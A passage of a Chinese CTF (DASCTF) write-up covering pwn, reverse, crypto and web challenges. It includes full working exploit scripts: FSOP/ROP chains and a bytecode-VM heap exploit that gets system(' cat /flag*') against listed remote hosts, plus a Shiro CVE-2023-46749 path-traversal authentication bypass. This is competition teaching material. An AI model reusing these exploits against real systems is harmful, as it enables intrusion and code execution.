fake[0x130:0x138] = p64(0) # W+0x30 buf_base
fake[0x188:0x190] = p64(ROP_STACK) # W+0x88 -> rdx -> new rsp
fake[0x1a8:0x1b0] = p64(libc + MOV_RSP_RDX) # W+0xa8 -> mov rsp,rdx; ret
fake[0x1e0:0x1e8] = p64(V) # W+0xe0 _wide_vtable
fake[0x268:0x270] = p64(libc + SC_RETPIVOT) # __doallocate = setcontext+0x126
edit(p,2, bytes(fake[:0x408]))
LOG('[+] fake FILE written')
# ---- trigger exit via add with invalid size ----
p.sendlineafter(b'> ', b'1'); p.sendlineafter(b'Index: \n', b'11'); p.sendlineafter(b'Size: \n', b'256')
LOG('[+] triggered')
return p
if __name__ == '__main__':
paths = [b'/flag', b'/flag.txt', b'/home/ctf/flag', b'/root/flag', b'/home/user/flag', b'/tmp/flag']
p = exploit(paths)
time.sleep(0.5)
try:
out = p.recv(timeout=8)
print(out.decode(errors='replace'))
except Exception as e:
print('recv err', e)
p.close()运行:
pip install pwntools
python3 solve.py # 对远程 45.40.247.139:22685 一键利用
关键过程复盘
- 本地 ROP 验证通过(附件 libc)→ 打远程失败。
- 用已可用的
fwrite原语 dump 远程 libc → 发现 syscall 包装区 +0x80 偏移 → 校准偏移。 - 再次失败 → 探测发现 seccomp 禁
execve/system→ 改用open/read/write直读。 - 接近成功但偶发输入错乱 → 定位 socket 时序问题(满长 payload 与
read()竞争)→ 每次 edit 只发所需字节。 - 最终稳定打出 flag。
6. mvmph(Pwn · 300)
Flag: DASCTF{23953926830009149609037092541725}
解法: 自定义字节码 VM 逆向 → syscall 桥(任意地址读写)→ 纯 VM 程序内完成 heap leak + FSOP
远程: 45.40.247.139:18013
题面
vvmm 为自定义字节码 VM(PIE、全 RELRO,提供 glibc 2.35-0ubuntu3.8):
main读 0x1000 字节 opcode 到堆上 “code” chunk,malloc0x2000 chunk 作 “stack”(VM sp = chunk+0x1000),执行 fetch/decode/dispatch 循环直到pc > 0x800。- Opcode 布局:
insn_num << 2 | type- type0:24 位大端 imm(bit 0x800000 ⇒
pc -= imm,否则pc += imm),用于跳转/call/syscall - type1:寄存器操作数(push/pop/inc/dec)
- type2:rd,rs(寄存器 ALU、xchg、cmp)
- type3:reg + imm32 LE(mov/add/sub/xor/or/and/shl/shr/cmp/loads/stores)
- type0:24 位大端 imm(bit 0x800000 ⇒
- VM 上下文:r0–r6 在 +0x10…+0x40(
r6兼作 VM 栈指针)、pc 在 +8、sp(push 的原生写游标)在 +0x40、标志寄存器 +0x48。
漏洞(“身体和意志被放到两个时空”)
VM 暴露原生 syscall 桥:
syscall(0=read, r0=fd, r1=buf, r2=len)
syscall(1=write, ...) # r0/r1/r2 直接作为原生 64 位地址
3=mmap, 4=free, 2=exit 也可用即 VM 寄存器中的任意原生地址可直接用于真实 read/write,VM 堆栈与 libc 两个“世界”就此连通:先泄露,再任意写。
利用链(全自包含 VM 程序)
远程用 socat 行模式,第一行输入后 stdin 即关闭 → exploit 必须是单发(one-shot),全部逻辑在 VM 内自执行:
malloc(0x500); malloc(0x20)(guard 防 top 合并),free→ 0x510 chunk 进 unsorted bin,fd==bk 指向 libcmain_arena+96。- VM 内堆扫描:基于 push 的 32 位 load 遍历堆,找 qword 对(fd==bk、页内偏移 0xce0、高位 0x7f…)→
libc_base = leak − 0x21ace0。 - 任意写原语:
push设置 VMsp游标;movsp(type1 n=35)把 VMsp指针写入寄存器;sp += 8(type0 n=37)推进。组合后可向任意地址写任意 64 位值。 - FSOP “house of apple 2”:覆写
_IO_2_1_stdout_为假 FILE(_flags=" cat /flag* 2>&1"),假_IO_wide_data+ 假 wide vtable(置于清零的 libc .bss 0x228000),__doallocate = system,vtable = _IO_wfile_jumps。 exit(0)→_IO_cleanup→_IO_wfile_overflow→_IO_wdoallocbuf→call *(wide_vtable+0x68)=system(fp)=system(" cat /flag* 2>&1")。
约束:_flags 兼作命令字符串,因此 byte0 不能有 bit3/bit1,byte1 不能有 bit3,命令必须以 a–g 字母开头(ls 的 'l'=0x6c 含 bit3 失败;cat/find 可行)。
脚本
VM 指令编码与汇编器(vm.py):
# VM assembler for vvmm
T0, T1, T2, T3 = 0, 1, 2, 3
def op(n, t):
return bytes([(n << 2) | t])
def imm24(v):
v &= 0xffffff
return bytes([(v >> 16) & 0xff, (v >> 8) & 0xff, v & 0xff])
def i0(n, imm): # type0: opcode + 24-bit big-endian imm
return op(n, T0) + imm24(imm)
def i1(n, r): # type1: opcode + reg
return op(n, T1) + bytes([r])
def i2(n, rd, rs): # type2: opcode + 2 regs
return op(n, T2) + bytes([rd, rs])
def i3(n, r, imm): # type3: opcode + reg + imm32 LE
return op(n, T3) + bytes([r]) + int(imm).to_bytes(4, 'little')
# ---- opcode numbers ----
# type3 (reg, imm32): 1 cmp_u 2 cmp_s 3 mov 4 xor 5 or 6 and 7 shl 8 shr
# 10 add 11 sub 12 ldb 13 ldw 14 ldd 15 stb 16 stw 17 std
# type2 (rd, rs): same numbering, 9 = xchg
# type1 (reg): 31 push 32 pop 33 inc 34 dec 35 movsp
# 41 jmp 42 je 43 jg 44 jl 45 jg 46 jl 47 jne 48 call
# type0 (imm24): 36 sp-=4*i 37 sp+=4*i 41 jmp 42 je 43 jg 44 jl 45 jg 46 jl
# 47 jne 48 call 51 syscall(imm, r0,r1,r2,...) 53 syscall_mem
# 59 ret
def MOV(r, imm): return i3(3, r, imm)
def MOVRR(rd, rs): return i2(3, rd, rs)
def SHL(r, imm): return i3(7, r, imm)
def SHR(r, imm): return i3(8, r, imm)
def ADD(r, imm): return i3(10, r, imm)
def SUB(r, imm): return i3(11, r, imm)
def OR(rd, rs): return i2(5, rd, rs)
def AND(r, imm): return i3(6, r, imm)
def XOR(r, imm): return i3(4, r, imm)
def LDD(r, addr): return i3(14, r, addr) # r = u32 [code+addr]
def CMP0(r): return i3(1, r, 0) # cmp r, 0
def SYSCALL(num): return i0(51, num) # syscall(num, r0,r1,r2,r3..r6) raw
def SYSM(num): return i0(53, num) # syscall(num, fd=r0, buf=code+r1, cnt=r2)
def _rel(v):
# relative offset encoding: bit 0x800000 set => subtract (v & 0x7fffff)
v = int(v)
if v < 0:
return 0x800000 | (-v)
return v & 0x7fffff
def JMP(off): return i0(41, _rel(off))
def JE(off): return i0(42, _rel(off))
def JNE(off): return i0(47, _rel(off))
def JG(off): return i0(43, _rel(off))
def JL(off): return i0(44, _rel(off))基于 label 的两遍汇编器(asmer.py):
# Label-based two-pass assembler for the vvmm bytecode VM
from vm import i0, i1, i2, i3, _rel
class Asm:
def __init__(self):
self.insns = [] # (bytes, label_refs, pos)
self.labels = {}
self.pos = 0
def label(self, name):
self.labels[name] = self.pos
return self
def _emit(self, data, jtarget=None, jkind=None):
# for jumps: data already 4 bytes, imm field patched in pass 2
self.insns.append([data, jtarget, self.pos, jkind])
self.pos += len(data)
# --- raw ops ---
def MOVI(self, r, imm): self._emit(i3(3, r, imm))
def MOVRR(self, rd, rs): self._emit(i2(3, rd, rs))
def ADDI(self, r, imm): self._emit(i3(10, r, imm))
def SUBI(self, r, imm): self._emit(i3(11, r, imm))
def SHLI(self, r, imm): self._emit(i3(7, r, imm))
def SHRI(self, r, imm): self._emit(i3(8, r, imm))
def ORI(self, r, imm): self._emit(i3(5, r, imm))
def ANDI(self, r, imm): self._emit(i3(6, r, imm))
def XORI(self, r, imm): self._emit(i3(4, r, imm))
def ORR(self, rd, rs): self._emit(i2(5, rd, rs))
def CMPRR(self, rd, rs): self._emit(i2(1, rd, rs)) # unsigned cmp
def CMPI(self, r, imm): self._emit(i3(1, r, imm)) # unsigned cmp vs imm
def LDD(self, r, addr): self._emit(i3(14, r, addr)) # r = u32[code+addr]
def STD(self, r, addr): self._emit(i3(17, r, addr)) # u32[code+r]... note: [code+r]=imm no
def STDI(self, addr, imm): self._emit(bytes()) if False else None
def PUSH(self, r): self._emit(i1(31, r))
def POP(self, r): self._emit(i1(32, r))
def INC(self, r): self._emit(i1(33, r))
def DEC(self, r): self._emit(i1(34, r))
def SYSCALL(self, num): self._emit(i0(51, num)) # syscall(num, r0=fd,r1=buf,r2=cnt)
def SYSM(self, num): self._emit(i0(53, num)) # syscall(num, r0=fd, buf=code+r1, cnt=r2)
# --- jumps (4 bytes, patched pass 2) ---
def _jmp(self, n, target):
self._emit(i0(n, 0), jtarget=target, jkind='rel')
def JMP(self, t): self._jmp(41, t)
def JE(self, t): self._jmp(42, t)
def JG(self, t): self._jmp(43, t)
def JL(self, t): self._jmp(44, t)
def JNE(self, t): self._jmp(47, t)
def assemble(self):
out = bytearray()
for data, jt, pos, kind in self.insns:
if kind == 'rel':
tgt = self.labels[jt] if isinstance(jt, str) else jt
off = tgt - (pos + 4)
data = i0(int(data[0]) >> 2, _rel(off))
out += data
return bytes(out)最终 exploit(exploit2.py,单发):
#!/usr/bin/env python3
# Self-contained VM exploit for vvmm (remote has no interactive stdin).
import sys, time
from asmer import Asm
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
# libc 2.35-0ubuntu3.8 offsets
SYSTEM = 0x50d70
STDOUT = 0x21b780 # _IO_2_1_stdout_
WJUMPS = 0x2170c0 # _IO_wfile_jumps
UNSORTED_FD = 0x21ace0 # main_arena + 96
W = 0x228000 # fake _IO_wide_data (libc .bss scratch)
V = 0x228100 # fake wide vtable
LOCK = 0x228200
R0, R1, R2, R3, R4, R5, R6 = range(7)
def write_qword(a, off):
"""emit code: write qword in r1 at [r0 + off] using sp pushes"""
a.MOVRR(R6, R0)
a.ADDI(R6, off + 4)
a.PUSH(R1) # [A] = lo32(r1)
a._emit(bytes([0x94, 0, 0, 2])) # type0 n=37 imm=2 : sp += 8
a.MOVRR(R2, R1)
a.SHRI(R2, 32)
a.PUSH(R2) # [A+4] = hi32(r1)
def build(command, dump_heap=False, dump_bss=False, dump_final=False):
assert len(command) <= 31
cmd = command.encode().ljust(32, b'\x00')
a = Asm()
# ---- heap setup: unsorted bin chunk ----
a.MOVI(R0, 0x500); a.SYSCALL(3)
a.MOVI(R0, 0x20); a.SYSCALL(3) # guard chunk (prevents top consolidation)
a.MOVI(R0, 0); a.SYSCALL(4) # free -> unsorted bin
a.MOVRR(R5, R6) # r5 = VM stack ptr = stackchunk+0x1000
if dump_heap:
a.MOVRR(R1, R5); a.SUBI(R1, 0x1000)
a.MOVI(R0, 1); a.MOVI(R2, 0x8000); a.SYSCALL(1)
# ---- scan heap for unsorted fd (== bk, page offset 0xce0, 0x00007f..) ----
a.MOVRR(R1, R5); a.ADDI(R1, 0x1000) # cursor = stackchunk+0x2000
a.label('scan')
a.MOVRR(R6, R1); a.POP(R2) # lo32(fd)
a.MOVRR(R6, R1); a.ADDI(R6, 4); a.POP(R3) # hi32(fd)
a.MOVRR(R6, R1); a.ADDI(R6, 8); a.POP(R0) # lo32(bk)
a.CMPRR(R0, R2); a.JNE('next')
a.MOVRR(R6, R1); a.ADDI(R6, 12); a.POP(R0) # hi32(bk)
a.CMPRR(R0, R3); a.JNE('next')
a.MOVRR(R0, R2); a.ANDI(R0, 0xfff); a.CMPI(R0, 0xce0); a.JNE('next')
a.MOVRR(R0, R3); a.SHRI(R0, 8); a.CMPI(R0, 0x7f); a.JNE('next')
a.MOVRR(R0, R3); a.SHLI(R0, 32); a.ORR(R0, R2) # r0 = fd
a.JMP('found')
a.label('next')
a.ADDI(R1, 8)
a.MOVRR(R0, R5); a.ADDI(R0, 0x7000) # limit
a.CMPRR(R1, R0); a.JL('scan')
a.MOVI(R0, 1); a.SYSCALL(2) # give up
a.label('found')
a.SUBI(R0, UNSORTED_FD) # r0 = libc base
if dump_bss:
a.MOVRR(R4, R0)
a.MOVRR(R1, R0); a.ADDI(R1, 0x227000)
a.MOVI(R0, 1); a.MOVI(R2, 0x1e50); a.SYSCALL(1)
a.MOVRR(R0, R4)
# ---- FSOP: house of apple 2 on _IO_2_1_stdout_ ----
# fake wide vtable.__doallocate = system
a.MOVRR(R1, R0); a.ADDI(R1, SYSTEM)
write_qword(a, V + 0x68)
# fake wide data._wide_vtable = V
a.MOVRR(R1, R0); a.ADDI(R1, V)
write_qword(a, W + 0xe0)
# FILE header: command string (32 bytes)
def mov64(reg, v):
a.MOVI(reg, v >> 32)
a.SHLI(reg, 32)
a.ADDI(reg, v & 0xffffffff)
for i in range(0, 32, 8):
mov64(R1, int.from_bytes(cmd[i:i + 8], 'little'))
write_qword(a, STDOUT + i)
a.MOVI(R1, 0); write_qword(a, STDOUT + 0x20) # _IO_write_base = 0
a.MOVI(R1, 1); write_qword(a, STDOUT + 0x28) # _IO_write_ptr = 1
a.MOVI(R1, 0); write_qword(a, STDOUT + 0x38) # _IO_buf_base = 0
a.MOVRR(R1, R0); a.ADDI(R1, LOCK); write_qword(a, STDOUT + 0x88) # _lock
a.MOVRR(R1, R0); a.ADDI(R1, W); write_qword(a, STDOUT + 0xa0) # _wide_data
a.MOVI(R1, 0); write_qword(a, STDOUT + 0xc0) # _mode = 0
a.MOVRR(R1, R0); a.ADDI(R1, WJUMPS); write_qword(a, STDOUT + 0xd8) # vtable
if dump_final:
a.MOVRR(R1, R0); a.ADDI(R1, STDOUT)
a.MOVI(R0, 1); a.MOVI(R2, 0xe0); a.SYSCALL(1)
# ---- trigger ----
a.MOVI(R0, 0); a.SYSCALL(2) # exit(0) -> _IO_cleanup -> system(cmd)
return a.assemble()
def main():
cmd = sys.argv[2] if len(sys.argv) > 2 else ' cat /flag*'
dump_heap = '--dumpheap' in sys.argv
dump_bss = '--dumpbss' in sys.argv
dump_final = '--dumpfinal' in sys.argv
prog = build(cmd, dump_heap, dump_bss, dump_final)
log.info('program: %d bytes', len(prog))
assert len(prog) < 0x800
if sys.argv[1] == 'local':
io = process('/workspace/test/vvmm_patched')
else:
io = remote('45.40.247.139', 18013)
data = io.recvuntil(b'Please input your opcodes:', timeout=10)
io.send(prog.ljust(0x800, b'\x00') + b'\n')
out = io.recvall(timeout=15)
sys.stdout.write('[out] ' + repr(out) + '\n')
open('out.bin', 'wb').write(out)
main()运行:
python3 exploit2.py local " cat /etc/hostname" # 本地(test/ 下 patch 过的二进制)
python3 exploit2.py remote " cat /flag* 2>&1" # 远程 45.40.247.139:18013
# 输出: DASCTF{23953926830009149609037092541725}
7. ClickMe(Reverse · 200)
Flag: DASCTF{QDxz77WHtRIZxVbVPIriyvoT4xWCs1esZaEddSGldPjn5b4Wt6LMpt2t}
解法: .NET 6 单文件捆绑提取 → IL 反汇编 → 自引用 XOR 约束图求解
依赖: Python 3 + dnfile + dncil
题面
附件 ClickMe.exe 为 .NET 6 自包含单文件捆绑。运行后点击按钮两次可输入 flag 校验,错误提示 “Why not try to decompile this program?”。
攻击流程
Step 1:提取内嵌程序集
用 BSJB CLI 头魔数 + 前导 MZ 定位到 apphost 偏移 0x25000 处的 ClickMe.dll。
Step 2:IL 反汇编(dnfile + dncil)
ClickMe.getFlagButton_Click(仅当 _counter == 2 时执行):
string input = InputDialog.ShowDialog("请输入您的Flag");
if (input.Length < 64) fail("Flag不对喵~");
string key = input.Substring(7, input.Length - 60); // key = flag[7 .. len-60)
byte[] enc = new Cipher().Encipher(UTF8(input), UTF8(key));
for (i = 0; i < 64; i++) if (enc[i] != _ciphertext[i]) fail();
success("Flag正确的捏~");Cipher(从 IL 重构):
ResetArray1():array1 = [ (byte)new Random(2024).Next(256) for 256 ](确定性)Initialize(key):array2[j] = key[j % key.Length](key 循环填充,非 RC4 KSA)GetNextNum():循环取array1,第 i 个值为A[i % 256]Encipher(data,key)[i] = data[i] ^ array2[A[i % 256]]
_ciphertext(64 字节)为字段<PrivateImplementationDetails>::11F0198926482EE7A9CA04CA7627BBD5FD990CAA094C7D69FF06784EB93EBCD1,
经 FieldRva 表从 DLL .data 读出:
003917072e3c3f150029004f662d0c0e283320292c332e2a18232d010e2b2e4c002d070b6034220b191435200203281c0110164f186513254c081c0a0c480e2cStep 3:自引用 XOR 约束求解
key 是 flag 自身的子串,校验为自引用约束:
flag[i] ^ flag[7 + (A[i % 256] % keylen)] = ct[i] (keylen = len - 60)对候选长度 64..200 做约束传播(锚点:前缀 DASCTF{;len=64 时索引 63 为 })。只有 len == 64(key = flag[7:11])得到唯一全可打印、完全确定的解。
Step 4:验证
- 用 Python 实现 .NET 种子
Random(seed)(Knuth 减法兼容算法),流与真实 .NET 6 SDK 完全一致(前 16 个值29 178 133 145 3 83 197 217 97 160 111 162 8 119 185 15匹配)。 - 用容器内安装的真实 .NET 6 SDK 运行重构的
Cipher.Encipher,对候选 flag 输出与存储密文逐字节一致。
脚本
dotnetrand.py(.NET Random 复刻):
import struct
MBIG = 2147483647
MSEED = 161803398
class DotNetRandom:
""".NET Framework / .NET Core seeded Random(int) compat algorithm"""
def __init__(self, seed):
self.SeedArray = [0]*56
subtraction = 2147483647 if seed == -2147483648 else abs(seed)
mj = MSEED - subtraction
self.SeedArray[55] = mj
mk = 1
for i in range(1, 55):
ii = (21*i) % 55
self.SeedArray[ii] = mk
mk = mj - mk
if mk < 0:
mk += MBIG
mj = self.SeedArray[ii]
for k in range(1, 5):
for i in range(1, 56):
self.SeedArray[i] -= self.SeedArray[1 + (i+30) % 55]
if self.SeedArray[i] < 0:
self.SeedArray[i] += MBIG
self.inext = 0
self.inextp = 21
def _sample(self):
locINext = self.inext
locINextp = self.inextp
locINext += 1
if locINext >= 56: locINext = 1
locINextp += 1
if locINextp >= 56: locINextp = 1
retVal = self.SeedArray[locINext] - self.SeedArray[locINextp]
if retVal == MBIG: retVal -= 1
if retVal < 0: retVal += MBIG
self.SeedArray[locINext] = retVal
self.inext = locINext
self.inextp = locINextp
return retVal * (1.0/MBIG)
def next_int(self, maxValue):
# Next(maxValue) = (int)(Sample()*maxValue)
return int(self._sample() * maxValue)
def build_array1():
r = DotNetRandom(2024)
return bytes(r.next_int(256) for _ in range(256))
if __name__ == '__main__':
A = build_array1()
print("array1:", A.hex())
print("first 16:", [x for x in A[:16]])求解器(solve.py):
#!/usr/bin/env python3
"""
ClickMe (DASCTF reverse) solver.
Extracts the 64-byte ciphertext from the embedded ClickMe.dll, reproduces the
.NET 6 `Random(2024)` byte stream, and solves the self-referential XOR cipher:
Encipher(flag, key)[i] = flag[i] ^ key[A[i % 256] % keylen] (key = flag[7 : len-60])
where A = [ (byte)Random(2024).Next(256) for _ in range(256) ]
and the first 64 bytes must equal the stored _ciphertext.
Solution: flag[i] ^ flag[7 + (A[i%256] % keylen)] = ct[i] (constraint graph,
propagated from known prefix "DASCTF{" and '}' at the end; keylen = len-60).
Only len==64 yields a fully printable, fully determined flag.
Run: python3 solve.py [path-to-ClickMe.dll]
"""
import sys
import dnfile
from dotnetrand import build_array1
DLL = sys.argv[1] if len(sys.argv) > 1 else 'ClickMe.dll'
def extract_ciphertext(dll_path):
"""Read the 64-byte _ciphertext blob from <PrivateImplementationDetails>."""
pe = dnfile.dnPE(dll_path)
md = pe.net.mdtables
data = open(dll_path, 'rb').read()
sections = [(s.VirtualAddress,
s.VirtualAddress + max(s.SizeOfRawData, s.Misc_VirtualSize),
s.PointerToRawData) for s in pe.sections]
def rva_to_off(rva):
for va, vend, off in sections:
if va <= rva < vend:
return off + (rva - va)
return None
for fr in md.FieldRva.rows:
fld = md.Field.rows[fr.Field.row_index - 1]
off = rva_to_off(fr.Rva)
return data[off:off + 64]
raise SystemExit('ciphertext blob not found')
def solve(ct, flaglen):
keylen = flaglen - 60
if keylen <= 0:
return None
flag = [None] * 64
for i, c in enumerate(b"DASCTF{"):
flag[i] = c
if flaglen - 1 <= 63:
flag[flaglen - 1] = ord('}')
g = lambda i: 7 + (A[i % 256] % keylen)
if any(g(i) >= 64 for i in range(64)):
return None
changed = True
while changed:
changed = False
for i in range(64):
gi = g(i)
if flag[i] is not None and flag[gi] is None:
flag[gi] = flag[i] ^ ct[i]
changed = True
elif flag[i] is None and flag[gi] is not None:
flag[i] = flag[gi] ^ ct[i]
changed = True
elif flag[i] is not None and flag[gi] is not None and (flag[i] ^ flag[gi]) != ct[i]:
return None
if any(f is None for f in flag):
return None
fb = bytes(flag)
if fb[:7] != b"DASCTF{" or not all(0x20 <= c <= 0x7e for c in fb):
return None
return fb
if __name__ == '__main__':
A = build_array1()
CT = extract_ciphertext(DLL)
assert len(CT) == 64, len(CT)
print('ciphertext:', CT.hex())
found = []
for fl in range(64, 201):
res = solve(CT, fl)
if res:
found.append(res)
print(f'flagLen={fl}: {res.decode()}')
if len(found) == 1:
flag = found[0].decode()
print('\nFULL FLAG:', flag)
print('SUBMIT ({} content):', flag[7:-1])
else:
print('no unique solution found')
8. Dual Poly(Crypto · 300)
Flag: DASCTF{J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly}
解法: 多项式环 + 伴随矩阵特征多项式(不分解 n 的代数攻击)
题面
附件 Dual Poly.zip:
task.py:RSA 变体n(1024 位,两个 512 位随机素数)- 两个随机指数
e1, e2,d_i = e_i^{-1} mod φ(n),gcd(e1,e2)=1 - 密文
c_j = Σ_{i=0}^{63} i·(m^{d_j})^i mod n,即c_j = P(A_j),其中P(x) = Σ_{i=1}^{63} i·x^i,A1 = m^{d1},A2 = m^{d2} - 关键关系:
A1^{e1} = A2^{e2} = m
output.txt:n, e1, e2, c1, c2
分析(核心:不分解 n)
设 f_j(x) = P(x) − c_j(化为首一,63 次),f1 有根 A1,f2 有根 A2。
- 在
Z_n[y]/(f2)中计算w = y^{e2} mod f2(快速多项式幂,Kronecker 代入法加速乘法)。则w(A2) = A2^{e2} = m。 - 构造 w 的 63×63 乘法矩阵 M,计算其特征多项式
Q(T) = det(T·I − M):- 在 64 个点上求值(
mod n高斯消元)+ Lagrange 插值恢复Q。 Q(T) = ∏(T − y_i^{e2})(对 f2 的 63 个根 y_i),因此Q(m) = 0(对应 y_i = A2 的因子是T − m)。
- 在 64 个点上求值(
- 在
Z_n[x]/(f1)中计算R1 = x^{e1} mod f1,则g(x) = Q(R1(x)) mod f1在x = A1处为零(因为R1(A1) = A1^{e1} = m且Q(m)=0)。 gcd(f1, g)(Z_n[x])为一次式x − A1→ 恢复A1,最终m = A1^{e1} mod n。
全程无需分解 n。flag 内层 J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly 即提示“伴随矩阵/特征多项式”。
脚本
from gmpy2 import mpz, invert, gcd as ggcd
from Crypto.Util.number import long_to_bytes
n = mpz(60959078334387545174063137470268047507172232525983373689032758117216565682996162265546846609875371227252336412496115606187827259803450770810574435659128021697069598440752312612273670111718418085608959589034388553909945018073488149871008631478185663189172003567928722587828055654546313822366900370962869240393)
e1 = mpz(25080185602921164641457779691264555950803708973459791702552859196152920386781315187127980680250722377905434772682465255538688916036832973212421222920467552688169338949641648947149548506493771954945163535084523492194938951063178603994088731260373092795225438907249612237869216271405461846502429010597434945129)
e2 = mpz(2686917894806306564105069645025598170001493222147939881910882612002619762827095181623015405336605399564697669411214715092491707199306077815347849574322393128446302565338306829483225475725645138320732244761574356546037259338204816353839338403152826330426168936100838988072600994897248609363630425741221535167)
c1 = mpz(39165033187459854259044916261644894532923988516246313646829662519394302481092871197909104163709186848292457858259875810315102170606454867532551322796881896450899276930100349230318586105505144321492466947631714356487940237401071542087835426078302367825435649348015848193466109067177234037081324611791585790297)
c2 = mpz(27995375435584804726153834858077480529641682279536108892909206601950410771803503693236168750304583015422077798910880859774746296760471579898801003345025172084543282632881139350213579495064877044761461563546254124445373800834742347922943172855897004531317927959023071295012569100116598090731605517348407531698)
D = 63 # poly degree
# ---------- polynomial helpers (coeff lists, low -> high) ----------
def polymul(a, b):
r = [mpz(0)] * (len(a) + len(b) - 1)
for i, ai in enumerate(a):
if ai:
for j, bj in enumerate(b):
r[i + j] += ai * bj
return [x % n for x in r]
def polymul_ks(a, b):
# Kronecker substitution
limb_bits = 2 * n.bit_length() + 16
A = 0
for i in reversed(range(len(a))):
A = (A << limb_bits) | int(a[i])
B = 0
for i in reversed(range(len(b))):
B = (B << limb_bits) | int(b[i])
C = A * B
mask = (1 << limb_bits) - 1
out = []
for _ in range(len(a) + len(b) - 1):
out.append(mpz(C & mask) % n)
C >>= limb_bits
return out
def polymod(a, f):
# reduce a modulo monic f
a = a[:]
df = len(f) - 1
top = f[df]
assert top == 1
while len(a) - 1 >= df and any(a):
shift = len(a) - 1 - df
factor = a[-1]
if factor == 0:
a.pop(); continue
for i in range(df):
a[i + shift] = (a[i + shift] - factor * f[i]) % n
a.pop()
while a and a[-1] == 0:
a.pop()
return a
def mulmod(a, b, f):
return polymod(polymul_ks(a, b), f)
def powmod(base, exp, f):
result = [mpz(1)]
b = base[:]
while exp > 0:
if exp & 1:
result = mulmod(result, b, f)
b = mulmod(b, b, f)
exp >>= 1
return result
def make_f(c):
co = [mpz(i) for i in range(D + 1)]
co[0] = (co[0] - c) % n
# make monic: leading coeff D
inv = invert(mpz(D), n)
return [(x * inv) % n for x in co]
f1 = make_f(c1)
f2 = make_f(c2)
zero = [mpz(0)]
# R1 = x^e1 mod f1
x1 = [mpz(0), mpz(1)]
R1 = powmod(x1, e1, f1)
print("R1 done, deg", len(R1) - 1)
# w = y^e2 mod f2
y2 = [mpz(0), mpz(1)]
w = powmod(y2, e2, f2)
print("w done, deg", len(w) - 1)
# multiplication matrix of w in Z_n[y]/f2, basis 1,y,...,y^62
# column k = coeffs of y^k * w mod f2
def pad(p):
p = p + [mpz(0)] * (D - len(p))
return p[:D]
cols = []
cur = w[:]
for k in range(D):
cols.append(pad(cur))
cur = polymod([mpz(0)] + cur, f2)
M = [[cols[k][i] for k in range(D)] for i in range(D)]
print("matrix built")
def det_mod(Mat, m):
Mat = [row[:] for row in Mat]
N = len(Mat)
det = mpz(1)
for col in range(N):
piv = None
for r in range(col, N):
if Mat[r][col] % m != 0:
piv = r; break
if piv is None:
return mpz(0)
if piv != col:
Mat[col], Mat[piv] = Mat[piv], Mat[col]
det = -det % m
inv = invert(Mat[col][col], m)
det = det * Mat[col][col] % m
for r in range(col + 1, N):
factor = Mat[r][col] * inv % m
if factor:
for cc in range(col, N):
Mat[r][cc] = (Mat[r][cc] - factor * Mat[col][cc]) % m
return det
# charpoly Q(T) = det(T*I - M), degree D; interpolate at T = 0..D
pts = list(range(D + 1))
vals = []
for t in pts:
Mat = [[(-M[i][k]) % n for k in range(D)] for i in range(D)]
for i in range(D):
Mat[i][i] = (Mat[i][i] + t) % n
vals.append(det_mod(Mat, n))
print("charpoly points done")
# Lagrange interpolation mod n
def lagrange(xs, ys):
N = len(xs)
coeffs = [mpz(0)] * N
for i in range(N):
# basis poly prod_{j!=i} (X - xs[j]) / (xs[i]-xs[j])
num = [mpz(1)]
den = mpz(1)
for j in range(N):
if j == i: continue
num = polymul_ks(num, [mpz(-xs[j]) % n, mpz(1)])
den = den * (xs[i] - xs[j]) % n
scale = ys[i] * invert(den, n) % n
for k, cc in enumerate(num):
coeffs[k] = (coeffs[k] + scale * cc) % n
return coeffs
Q = lagrange(pts, vals)
while Q and Q[-1] == 0:
Q.pop()
print("Q degree", len(Q) - 1)
# g = Q(R1) mod f1
g = [mpz(0)]
for cc in reversed(Q):
g = mulmod(g, R1, f1)
if not g:
g = [mpz(0)]
g[0] = (g[0] + cc) % n
print("g degree", len(g) - 1 if g else -1)
# gcd(f1, g) over Z_n[x]
def polygcd(a, b):
a = a[:]; b = b[:]
while b and any(b):
# make divisor monic if possible
lead = b[-1]
try:
iv = invert(lead, n)
except Exception:
f_ = ggcd(lead, n)
print("factor found!", f_)
raise SystemExit
b = [(x * iv) % n for x in b]
# a mod b
r = a[:]
db = len(b) - 1
while len(r) - 1 >= db and any(r):
sh = len(r) - 1 - db
fac = r[-1]
if fac == 0:
r.pop(); continue
for i in range(db):
r[i + sh] = (r[i + sh] - fac * b[i]) % n
r.pop()
while r and r[-1] == 0:
r.pop()
a, b = b, r
return a
d = polygcd(f1, g)
print("gcd degree", len(d) - 1 if d else -1, d if d and len(d) <= 3 else "")
if d and len(d) == 2:
A = (-d[0]) % n # monic: x + d[0] = 0
m = pow(int(A), int(e1), int(n))
print("A =", A)
print("m bytes:", long_to_bytes(int(m)))运行:
pip install gmpy2 pycryptodome
python3 solve.py输出
gcd degree 1
A = <A1 值>
m bytes: b'DASCTF{J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly}'
9. Easy_Bypass(Web · 100)
Flag: DASCTF{anEasy_CVE_Test}
解法: Apache Shiro 1.9.0 认证绕过 CVE-2023-46749
题面
附件 ShiroCVE-0.0.1-SNAPSHOT.jar(Spring Boot + Apache Shiro 1.9.0)。反编译 jar 后:
MyShiroFilterFactoryBean:过滤器链regex /permit/.* -> MyFilter(RegExPatternMatcher,非默认 Ant 匹配器)。MyFilter(AccessControlFilter):仅当请求头Token: FAKE_TOKEN存在时放行,否则输出access denied。DemoController:@RequestMapping("/permit/{value}")返回 flag(本地DASCTF{FAKE_FLAG},线上为真实 flag)。
目标:不携带 Token 到达 /permit/{value},即绕过 Shiro 认证。
漏洞原理(CVE-2023-46749:Shiro < 1.13.0 认证绕过)
Shiro 与 Spring MVC 对同一 URL 的路径解析存在分歧:
| 组件 | 取到的路径 | 处理方式 |
|---|---|---|
Shiro PathMatchingFilterChainResolver |
Tomcat 的 servletPath + pathInfo |
先 %xx 解码 + 规范化(//、/./、/../)+ 去分号 |
| Spring MVC(PathPatternParser 模式) | RAW requestURI |
不 %xx 解码、不规范化 ..,仅去分号内容 |
请求 GET /permit/..(curl 需 --path-as-is 防止客户端规范化):
- Tomcat:解码/规范化
/permit/..→servletPath = /→ Shiro 正则/permit/.*不匹配 →MyFilter被跳过; - Spring:raw 路径
/permit/..段为[permit, ..],匹配/permit/{value}→ 控制器执行 → 返回 flag。
